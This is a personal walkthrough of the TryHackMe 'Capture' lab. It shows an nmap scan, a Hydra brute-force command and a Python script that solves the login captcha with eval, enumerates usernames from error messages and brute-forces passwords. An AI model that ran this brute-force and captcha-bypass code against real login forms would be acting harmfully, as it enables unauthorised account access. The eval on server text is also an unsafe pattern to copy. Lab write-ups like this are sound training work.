Capture
https://tryhackme.com/room/capture
I downloaded the zip file that contains the login credientials that I can use to brute force into the login form!
Nmap
1
2
3
4
nmap -sS -Pn [ip]
PORT STATE SERVICE VERSION
80/tcp open http
I opened the website to come to face with a login page. I attempted to use default usernames and passwords, but it did not work. I noticed that it does say if the username exists or not!
Hydra
1
hydra -L usernames.txt -P passwords.txt "http-post-form://10.10.224.246/login:username=^USER^&password=^PASS^:Error"
I get the ‘Too many bad login attempts’ error message with a mathematical Captcha. This problem can be solved by writting a script.
Script
For writing the script I used the below walkthrough to guide me in writing and understanding the process:
Things I kept in mind while trying to build the script in Python:
- Finding the captcha [regex will be used]
- Solving the captcha [using eval function in Python]
Reading the files
First, the script should read the files to retrieve the usernames and passwords. When using the read function, it’s important to add the ‘splitlines’.
1
2
3
4
5
6
7
## opening the username.txt to get the users
with open('usernames.txt', 'r') as file:
usernames = file.read().splitlines()
## opening the passwords.txt to get the password
with open('passwords.txt', 'r') as file:
passwords = file.read().splitlines()
Requesting
I made the function ‘send_request’ to send a request to the server for authentication with the username, password, and captcha as None. Captcha is none cause by default there is no captcha in the first few attempts then it starts asking for it. If I do get the captcha then I add it as an argument in the request.
1
2
3
4
5
6
7
8
9
10
11
def send_request(username, password, captcha=None):
data = {
"username":username,
"password":password
}
# if I get captcha
if captcha:
data.update({"captcha":captcha})
response = requests.post(url=url, data=data)
return response
Solving Captcha function
This part solves my first concern the regex expression is used to find the captcha string in the HTML server response, and the output used in the solve captcha function. The function solve_captcha takes in the response, then finds the captcha, and returns the solved answer to be passed into the request.
1
2
3
4
5
6
7
# Regular expression to find captcha string in the html server response
regex = re.compile(r"(\d+\s[+*/-]\s\d+)\s\=\s\?")
# solving captcha using eval
def solve_captcha(response):
captcha = re.findall(regex, response.text)[0]
return eval(captcha)
Checking if user already exists
I created the get_user function to get the existing user before starting brute-forcing the password, this helps by not wasting time. First, I sent a request with each user and password as “None” since I only care about the username. I call the solve_captcha function and pass the response as an argument. After solving the captcha I send another request with the same user in the loop and check if the user is valid. If the username exists it will return to be used for the next step finding the password.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
def get_user():
for user in usernames:
response = send_request(user, "None")
captcha = str(solve_captcha(response))
data = {
"username":user,
"password":'test',
"captcha":captcha
}
response = requests.post(url=url, data=data)
valid = not re.search(r'The user (.*?) does not exist', str(response.content))
if valid:
print(f"[+] Found username : {user}")
return user
Finding the password!
The Attack function starts by calling the get_user function After I pass the user as an argument for the send_request function. After solving the captcha I send another request with the valid user but with a different password in a loop till the correct password is found!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def attack():
user = get_user()
response = send_request(user, "None")
captcha = str(solve_captcha(response))
for password in passwords:
response = send_request(user, password, captcha)
valid = not re.search(r'Invalid password for user', str(response.content))
if valid:
print(f"[+] Found username : {user}")
# give the previous captcha
if not "Invalid password" in response.text:
print(f"[+] Success! Username:{user} Password:{password}")
# but what if its error? means captcha not working !
else:
captcha = solve_captcha(response)
Final words
This was annoying to write especially since I don’t fully get the Regular expression module is confusing. Using the search function solved the issue where if does not exist in the content brute force password does not recognize the valid username. The full code can be found in my gitbook